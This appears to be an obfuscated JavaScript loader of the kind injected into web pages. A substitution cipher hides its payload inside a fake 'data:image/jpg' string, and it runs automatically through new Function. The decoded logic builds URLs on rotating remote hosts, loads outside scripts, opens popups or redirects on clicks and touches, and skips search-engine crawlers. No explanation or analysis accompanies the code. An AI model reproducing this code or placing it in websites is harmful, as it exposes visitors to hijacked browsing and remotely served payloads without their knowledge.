!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();